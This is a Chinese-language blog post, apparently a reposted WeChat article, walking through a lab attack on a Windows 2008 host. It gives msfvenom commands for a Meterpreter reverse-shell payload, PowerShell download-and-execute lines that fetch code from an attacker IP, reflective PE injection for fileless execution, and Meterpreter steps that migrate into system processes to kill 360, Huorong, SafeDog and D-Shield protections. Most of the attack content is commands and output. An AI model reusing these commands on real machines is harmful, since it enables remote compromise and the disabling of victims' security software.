前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次PowerShell配合Metersploit的艰难提权

记一次PowerShell配合Metersploit的艰难提权

作者头像
潇湘信安
发布2021-08-20 10:14:39
7840
发布2021-08-20 10:14:39
举报
文章被收录于专栏:潇湘信安潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

感谢群友@Erikten投稿 。这篇文章中还是存在有一些亮点,仔细看,相信你能发现!

0x01 环境准备

kali(模拟公网攻击机)

Windows2008(靶机,装有360、火绒、安全狗、D盾)

Powersploit(PowerShell攻击框架)

https://github.com/PowerShellMafia/PowerSploit

0x02 尝试落地payload

首先msfvenom生成exe后门程序

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe

Python3开启http下载服务

代码语言:javascript
复制
python3 -m http.server

msf开启监听

图片
图片

执行powershell命令时被火绒拦截

代码语言:javascript
复制
(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/6666.exe")
图片
图片

0x03 PowerShell内存执行exe

这也是现在红军非常流行的攻击手法,payload在内存中加载执行,也就是所谓的文件不落地,大致分以下几步

  • 先将生成的payload在本地进行base64编码
  • 靶机执行远程下载命令
  • 靶机对payload进行解码并赋值给一个变量
  • PowerShell远程加载Invoke-ReflectivePEInjection模块(PE反射注入)并执行payload
本地编码payload

PowerShell下执行

代码语言:javascript
复制
function Convert-BinaryToString {
  [CmdletBinding()] param (
    [string] $FilePath
    )
    try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); 
      }
      catch {
        throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
        } 
        if ($ByteArray) {
          $Base64String = [System.Convert]::ToBase64String($ByteArray);
        }
        else {
          throw '$ByteArray is $null.'; 
          } 
        Write-Output -InputObject $Base64String;
      }

Convert-BinaryToString C:\6666.exe > C:\res.txt

将res.txt放置到kali中的下载服务目录,供靶机加载

图片
图片

接下来远程加载Powersploit的PE反射模块

代码语言:javascript
复制
iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")

继续加载base64编码后的payload,赋值给一个变量

代码语言:javascript
复制
$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")

靶机解码payload

代码语言:javascript
复制
$PEBytes = [System.Convert]::FromBase64String($InputString)

反射调用

代码语言:javascript
复制
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
图片
图片

msf成功上线,全程没有任何文件落地,比较成功地避开了杀软对磁盘的查杀

图片
图片

0x04 艰难的后渗透攻击

先看一下进程,Windows下,我个人比较中意svchost.exe这个进程,注入率比较高,而且又是system权限,先来试试吧

代码语言:javascript
复制
ps -ef | grep svchost.exe
图片
图片

成功提权

代码语言:javascript
复制
migrate 336
图片
图片

当我准备添加用户的时候,被360的ZhuDongFangYu.exe进程拦截,接下来就是想办法干掉360、火绒、D盾、安全狗的主动防御系统

图片
图片

0x05 Kill主动防御

因为现在是system权限,所以优先尝试kill、pkill这两条命令。经过fuzz,得出以下几点结论

  • D盾可直接Kill掉
  • 360、安全狗Kill掉后,30秒后会再次重启
  • 火绒权限不够,无法直接Kill
代码语言:javascript
复制
meterpreter > pkill ZhuDongFangYu.exe 
Filtering on 'ZhuDongFangYu.exe' 
Killing: 6056 
meterpreter > pkill SafeDogGuardCenter.exe 
Filtering on 'SafeDogGuardCenter.exe' 
Killing: 5752 
meterpreter > pkill HipsTray.exe 
Filtering on 'HipsTray.exe' 
Killing: 7416 
[-] stdapi_sys_process_kill: Operation failed: Access is denied. 
meterpreter >
图片
图片

0x06 单换杀软的男人

因为360的权限是比较高的,且我现在是system权限,就像尝试注入一下360的主动防御进程,竟然成功了!

图片
图片

这一下我直接好家伙,先把SafeDog干掉

代码语言:javascript
复制
ps -ef | Safe
pkill Safe
图片
图片

来靶机上看一下,发现安全狗的主进程都被干掉了,360还是狠啊

图片
图片

当我尝试杀死火绒的进程时,被火绒反杀了,也就是说,火绒把360的主动防御干掉了,可想而知它的权限得多大

图片
图片

重连一次shell后,我尝试注入360主动防御,杀死所有360的程序,成功拿下!

图片
图片

这时候还有一个ZhuDongFangYu.exe没杀,所以我们再注入回svchost.exe用它去杀死360的主动防御,这次杀死后就不会再生了,因为主程序已经被它干死了哈哈哈

图片
图片

现在就剩下火绒了,我进入shell,尝试用taskkill干掉他的时候,发现了一个有意思的提示

图片
图片

火绒的父进程是service.exe,那么如果我注入到service.exe中,用service.exe杀Hips*.exe不过分吧?老子打儿子总没毛病了吧?

结果让我很满意哈哈哈哈哈

图片
图片

成功添加用户,遗憾的是没有添加到管理员组,这次艰难的后渗透,就先到这儿吧

图片
图片
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-08-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 本地编码payload
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档